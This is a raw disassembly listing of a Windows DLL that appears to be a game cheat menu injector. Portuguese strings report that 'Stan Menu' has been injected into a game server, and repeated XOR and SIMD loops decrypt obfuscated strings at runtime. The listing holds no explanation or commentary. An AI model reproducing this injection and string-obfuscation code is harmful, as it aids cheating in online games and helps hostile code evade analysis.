psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm6
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd eax, xmm13
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x270]
xorps xmm2, xmm1
movd dword [rbp + 0x270], xmm2
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x274]
xorps xmm2, xmm1
movd dword [rbp + 0x274], xmm2
jmp 0x1800c3f72
lea r9, [rbp + 0x270]
nop word [rax + rax]
mov eax, 0x24924925
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x1800c3f40
xor r8d, r8d
lea rdx, [0x1802b4a98]
lea rcx, [rbp + 0x270]
call fcn.180047cc0
call fcn.18000cc90
mov dword [rbp + 0x278], 0x42aa0000
mov dword [rbp + 0x27c], 0x42700000
lea rcx, [rbp + 0x278]
call fcn.18001a0a0
mov qword [rbp + 0x280], 0
mov eax, dword [0x1801830c0]
mov dword [rbp + 0x2c], eax
movzx ecx, word [0x1801830c4]
mov word [rbp + 0x30], cx
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rbp + 0x2c], 0x46
xor byte [rbp + 0x2d], 0x37
xor byte [rbp + 0x2e], 0x38
xor byte [rbp + 0x2f], 0x39
xor cl, 0x3a
mov byte [rbp + 0x30], cl
xor byte [rbp + 0x31], 0x3b
xor al, 0x3c
mov byte [rbp + 0x32], al
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r12
xor r9d, r9d
mov r8b, 1
lea rdx, [rbp + 0x280]
lea rcx, [rbp + 0x2c]
call fcn.180008f00
mov dword [rbp + 0x288], 0x41400000
mov dword [rbp + 0x28c], 0x41400000
lea rcx, [rbp + 0x288]
call fcn.18001a0a0
call fcn.180009b80
lea r14, [0x1802b0f40]
mov r12, qword [rbp + 0x80]
cmp byte [0x1802b4c60], 0
jne 0x1800c41f1
lea rcx, [0x1802b0f60]
cmp rcx, r12
je 0x1800c4077
mov rdx, r12
cmp qword [r12 + 0x18], 0xf
jbe 0x1800c406d
mov rdx, qword [r12]
mov r8, qword [r12 + 0x10]
call fcn.1800499a0
mov rdx, qword [rbp + 0x78]
lea rcx, [rbp + 0x1828]
call fcn.18004fff0
nop
lea rdx, [rbp + 0x1828]
lea rcx, [rbp + 0xef8]
call fcn.18004fff0
mov rdi, rax
mov rcx, rax
cmp qword [rax + 0x18], 0xf
jbe 0x1800c40ab
mov rcx, qword [rax]
xor edx, edx
mov r8d, 0xa
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_strtol]
movsxd rbx, eax
mov rcx, rdi
call fcn.18003e1a0
mov qword [rbp + 0x17d8], rbx
lea rdx, [rbp + 0x17d8]
lea rcx, [rbp + 0x15f0]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__localtime64_s]
movups xmm0, xmmword [rbp + 0x15f0]
movaps xmmword [rbp + 0x15c0], xmm0
movups xmm1, xmmword [rbp + 0x1600]
movaps xmmword [rbp + 0x15d0], xmm1
mov eax, dword [rbp + 0x1610]
mov dword [rbp + 0x15e0], eax
movsd xmm0, qword [0x180181df8]
movsd qword [rbp + 0x388], xmm0
movzx eax, byte [0x180181e00]
mov byte [rbp + 0x388], Ordinal_41
xor byte [rbp + 0x389], 0x37
xor byte [rbp + 0x38a], 0x38
xor byte [rbp + 0x38b], 0x39
xor byte [rbp + 0x38c], 0x3a
xor byte [rbp + 0x38d], 0x3b
xor byte [rbp + 0x38e], 0x3c
xor byte [rbp + 0x38f], 0x3d
xor al, 0x3e
mov byte [rbp + 0x390], al
lea r9, [rbp + 0x15c0]
lea r8, [rbp + 0x388]
mov edx, 0x50
lea rcx, [rbp + 0x1b80]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll_strftime]
xorps xmm0, xmm0
movups xmmword [rbp + 0xf18], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xf28], xmm1
lea rax, [rbp + 0x1b80]
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1800c41a0
lea rdx, [rbp + 0x1b80]
lea rcx, [rbp + 0xf18]
call fcn.18003d5d0
or r13d, 0x40
lea rdx, [rbp + 0xf18]
mov rcx, r14
call fcn.18003e270
lea rcx, [rbp + 0xf18]
call fcn.18003e1a0
mov byte [0x1802b4c60], 1
lea rcx, [rbp + 0x1828]
call fcn.18003e1a0
xor edi, edi
cmp dword [0x1802b4a98], 0
jne 0x1800c448f
mov eax, dword [0x1801830d4]
mov dword [rbp - 0x3c], eax
cmp byte [reloc.WS2_32.dll_gethostname], 0
je 0x1800c42c2
mov r8d, edi
cmp r15d, 2
jl 0x1800c427e
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm7
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm13
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp - 0x3c], xmm1
jmp 0x1800c42c2
lea r9, [rbp - 0x3c]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x24924925
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x1800c4290
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova r14, qword [0x1802b0f40]
movsd xmm0, qword [str.eCYW]
movsd qword [rbp + 0x3b8], xmm0
movzx eax, word [0x1801830d0]
mov word [rbp + 0x3c0], ax
cmp byte [0x1801830d1], 0
je 0x1800c433f
mov byte [rbp + 0x3b8], 0x53
xor byte [rbp + 0x3b9], 0x37
xor byte [rbp + 0x3ba], 0x38
xor byte [rbp + 0x3bb], 0x39
xor byte [rbp + 0x3bc], 0x3a
xor byte [rbp + 0x3bd], 0x3b
xor byte [rbp + 0x3be], 0x3c
xor byte [rbp + 0x3bf], 0x3d
xor byte [rbp + 0x3c0], 0x3e
xor byte [rbp + 0x3c1], 0x3f
lea r8, [rbp - 0x3c]
mov rdx, r14
lea rcx, [rbp + 0x3b8]
call fcn.1800412b0
test al, al
je 0x1800c448f
mov rax, qword [0x1802b4398]
cmp qword [rax + 8], 0
jne 0x1800c4374
lea rdx, str.Entre_no_servidor_antes_de_tentar_injetar.
jmp 0x1800c4483
cmp byte [0x1802b4458], 0
je 0x1800c4389
lea rdx, str.Voce_ja_injetou_o_Stan_Menu.
jmp 0x1800c4483
cmp byte [0x1802b43fc], 0
jne 0x1800c439e
mov byte [0x1802b43fc], 1
call fcn.18009f210
lea rax, [rbp + 0xf38]
mov qword [rsp + 0x50], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0xf38], xmm0
mov qword [rbp + 0xf48], rdi
mov qword [rbp + 0xf50], rdi
xor r8d, r8d
lea rdx, [0x180137dc6]
lea rcx, [rbp + 0xf38]
call fcn.18003d5d0
nop
lea rax, [rbp + 0xf58]
mov qword [rsp + 0x48], rax
mov rdx, r12
lea rcx, [rbp + 0xf58]
call fcn.18004fff0
mov rbx, rax
mov ecx, dword [0x1801830d8]
mov dword [rbp + 0x34], ecx
movzx edx, word [0x1801830dc]
mov word [rbp + 0x38], dx
movzx ecx, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rbp + 0x34], gethostname
xor byte [rbp + 0x35], 0x37
xor byte [rbp + 0x36], 0x38
xor byte [rbp + 0x37], 0x39
xor dl, 0x3a
mov byte [rbp + 0x38], dl
xor byte [rbp + 0x39], 0x3b
xor cl, 0x3c
mov byte [rbp + 0x3a], cl
lea rdx, [rbp + 0x34]
lea rcx, [rbp + 0xf98]
call fcn.180050110
mov rdx, rax
lea rcx, [rbp + 0xf78]
call fcn.180073230
nop
mov byte [rsp + 0x28], 1
mov byte [rsp + 0x20], 1
lea r9, [rbp + 0xf38]
mov r8, rbx
mov rdx, rax
lea rcx, [0x1802b4588]
call fcn.1800ab0c0
mov byte [0x1802b4458], 1
lea rdx, str.Stan_Menu_injetado_com_sucesso.
lea rcx, str.Stan_Menu
call fcn.1800a5610
mov dword [rbp + 0x290], 0x44140000
mov dword [rbp + 0x294], 0x41700000
lea rcx, [rbp + 0x290]
call fcn.1800411e0
call fcn.18000cc90
xor ecx, ecx
call fcn.18000c5c0
lea r12, [0x180137dc6]
jmp 0x1800c44cd
movss xmm14, dword [0x180138da8]
cmp dword [0x1802b4a94], 5
jne 0x1800cb146
lea rcx, [0x1801ad070]
call fcn.18000b470
movss xmm3, dword [rbp + 0x17c4]
movaps xmm1, xmm3
addss xmm1, xmm12
movss xmm2, dword [rbp + 0x17c0]
movaps xmm0, xmm2
addss xmm0, dword [0x180184994]
movss dword [rbp + 0x298], xmm0
movss dword [rbp + 0x29c], xmm1
addss xmm3, dword [0x180138bbc]
addss xmm2, xmm14
movss dword [rbp + 0x2a0], xmm2
movss dword [rbp + 0x2a4], xmm3
mov dword [rsp + 0x28], edi
xorps xmm12, xmm12
movss dword [rsp + 0x20], xmm12
mov r9d, eax
lea r8, [rbp + 0x298]
lea rdx, [rbp + 0x2a0]
mov rcx, qword [rbp + 0xb0]
call fcn.180021da0
mov dword [rbp + 0x2a8], 0x42c20000
mov dword [rbp + 0x2ac], 0x41400000
lea rcx, [rbp + 0x2a8]
call fcn.18001a0a0
call fcn.180009b80
mov rax, qword [str.qRVHZPpEYT_]
mov qword [rbp + 0x2b0], rax
cmp byte [0x1801830e7], 0
je 0x1800c46d2
mov r8d, edi
cmp r15d, 2
jl 0x1800c468e
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm7
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm6
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd eax, xmm13
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x2b0]
xorps xmm2, xmm1
movd dword [rbp + 0x2b0], xmm2
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x2b4]
xorps xmm2, xmm1
movd dword [rbp + 0x2b4], xmm2
jmp 0x1800c46d2
lea r9, [rbp + 0x2b0]
nop word [rax + rax]
mov eax, 0x24924925
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x1800c46a0
xor r8d, r8d
lea rdx, [0x1802b4a98]
lea rcx, [rbp + 0x2b0]
call fcn.180047cc0
movss xmm1, dword [0x180138bd8]
movaps xmm0, xmm12
call fcn.180019710
call fcn.18000cc90
mov dword [rbp + 0x2b8], 0x42aa0000
mov dword [rbp + 0x2bc], 0x42700000
lea rcx, [rbp + 0x2b8]
call fcn.18001a0a0
mov qword [rbp + 0x2c0], 0
mov eax, dword [0x1801830e8]
mov dword [rbp + 0x54], eax
movzx ecx, word [0x1801830ec]
mov word [rbp + 0x58], cx
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rbp + 0x54], 0x46
xor byte [rbp + 0x55], 0x37
xor byte [rbp + 0x56], 0x38
xor byte [rbp + 0x57], 0x39
xor cl, 0x3a
mov byte [rbp + 0x58], cl
xor byte [rbp + 0x59], 0x3b
xor al, 0x3c
mov byte [rbp + 0x5a], al
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r12
xor r9d, r9d
mov r8b, 1
lea rdx, [rbp + 0x2c0]
lea rcx, [rbp + 0x54]
call fcn.180008f00
mov dword [rbp + 0x2c8], 0x41400000
mov dword [rbp + 0x2cc], 0x41400000
lea rcx, [rbp + 0x2c8]
call fcn.18001a0a0
call fcn.180009b80
movups xmm2, xmmword [str.t_WHOU_]
movups xmmword [rbp + 0xab0], xmm2
mov edx, dword [0x180183110]
mov dword [rbp + 0xac0], edx
movzx eax, word [0x180183114]
mov word [rbp + 0xac4], ax
cmp byte [0x180183115], 0
je 0x1800c4a63
mov r8d, edi
cmp r15d, 2
jl 0x1800c4a14
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm7
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm13
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0xab0], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xab4]
xorps xmm2, xmm1
movd dword [rbp + 0xab4], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm7
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xab8]
xorps xmm2, xmm1
movd dword [rbp + 0xab8], xmm2
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm7
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm15
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xabc]
xorps xmm2, xmm1
movd dword [rbp + 0xabc], xmm2
movdqa xmm3, xmmword [0x180143410]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm7
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm3, xmm0
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, ecx
paddb xmm3, xmm0
movd xmm1, edx
xorps xmm3, xmm1
movd dword [rbp + 0xac0], xmm3
mov r8d, reloc.WS2_32.dll_sendto
mov eax, r8d
lea r9, [rbp + 0xab0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x1800c4a30
lea r10, [rbp + 0xab0]
mov dword [rbp + 0x2d0], 0x43910000
mov dword [rbp + 0x2d4], 0x42960000
movsd xmm1, qword [str.t_WZQeuSNJ4A]
movsd qword [rbp + 0x508], xmm1
mov ecx, dword [0x1801830f8]
mov dword [rbp + 0x510], ecx
cmp byte [0x1801830fb], 0
je 0x1800c4c42
mov r8d, edi
cmp r15d, 2
jl 0x1800c4bfe
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm7
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.t_WZQeuSNJ4A]
xorps xmm1, xmm0
movd dword [rbp + 0x508], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x50c]
xorps xmm2, xmm1
movd dword [rbp + 0x50c], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm7
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rbp + 0x510], xmm2
jmp 0x1800c4c42
lea r9, [rbp + 0x508]
nop word [rax + rax]
mov eax, 0x24924925
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x1800c4c10
mov qword [rsp + 0x28], r10
lea rax, [0x180183498]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x2d0]
lea rcx, [rbp + 0x508]
call fcn.180008f00
movzx eax, word [0x180183120]
movsd xmm0, qword [0x180183118]
mov word [rbp + 0x490], ax
movsd qword [rbp + 0x488], xmm0
movzx eax, byte [0x180183122]
mov byte [rbp + 0x488], 0x45
xor byte [rbp + 0x489], 0x37
xor byte [rbp + 0x48a], 0x38
xor byte [rbp + 0x48b], 0x39
xor byte [rbp + 0x48c], 0x3a
xor byte [rbp + 0x48d], 0x3b
xor byte [rbp + 0x48e], 0x3c
xor byte [rbp + 0x48f], 0x3d
xor byte [rbp + 0x490], 0x3e
xor byte [rbp + 0x491], 0x3f
xor al, 0x40
mov byte [rbp + 0x492], al
mov r8, r12
lea rdx, [0x1802b44fe]
lea rcx, [rbp + 0x488]
call fcn.18003fb10
mov cl, 1
call fcn.18000c5c0
movsd xmm0, qword [str.uBKMUV]
movsd qword [rbp + 0x738], xmm0
mov ecx, dword [0x180183140]
mov dword [rbp + 0x740], ecx
movzx eax, word [0x180183144]
mov word [rbp + 0x744], ax
movzx eax, byte [0x180183146]
mov byte [rbp + 0x746], al
mov r8d, edi
cmp r15d, 2
jl 0x1800c4e8e
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm7
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.uBKMUV]
xorps xmm1, xmm0
movd dword [rbp + 0x738], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x73c]
xorps xmm2, xmm1
movd dword [rbp + 0x73c], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm7
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rbp + 0x740], xmm2
mov r8d, ntohl
mov eax, r8d
lea r9, [rbp + 0x738]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x1800c4ea0
mov dword [rbp + 0x2d8], 0x43910000
mov dword [rbp + 0x2dc], 0x42960000
movsd xmm0, qword [0x180183128]
movsd qword [rbp + 0x748], xmm0
mov ecx, dword [0x180183130]
mov dword [rbp + 0x750], ecx
movzx eax, word [0x180183134]
mov word [rbp + 0x754], ax
movzx eax, byte [0x180183136]
mov byte [rbp + 0x756], al
mov r8d, edi
cmp r15d, 2
jl 0x1800c5079
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm7
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x180183128]
xorps xmm1, xmm0
movd dword [rbp + 0x748], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x74c]
xorps xmm2, xmm1
movd dword [rbp + 0x74c], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm7
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rbp + 0x750], xmm2
mov r8d, ntohl
mov eax, r8d
lea r9, [rbp + 0x748]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x1800c5090
lea rax, [rbp + 0x738]
mov qword [rsp + 0x28], rax
lea rbx, [0x1801835b8]
mov qword [rsp + 0x20], rbx
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x2d8]
lea rcx, [rbp + 0x748]
call fcn.180008f00
mov rax, qword [str.RA_SUXuXV_S_]
mov qword [rbp + 0x2e0], rax
cmp byte [0x18018314f], 0
je 0x1800c5242
mov r8d, edi
cmp r15d, 2
jl 0x1800c51fb
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm7
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm6
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd eax, xmm13
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x2e0]
xorps xmm2, xmm1
movd dword [rbp + 0x2e0], xmm2
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x2e4]
xorps xmm2, xmm1
movd dword [rbp + 0x2e4], xmm2
jmp 0x1800c5242
lea r9, [rbp + 0x2e0]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x24924925
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x1800c5210
lea rdx, reloc.WLDAP32.dll_Ordinal_45
lea rcx, [rbp + 0x2e0]
call fcn.1800450a0
mov cl, 1
call fcn.18000c5c0
movzx eax, word [0x180183168]
mov word [rbp + 0xa48], ax
movups xmm2, xmmword [str.uXV_S_]
movzx eax, byte [0x18018316a]
movups xmmword [rbp + 0xa38], xmm2
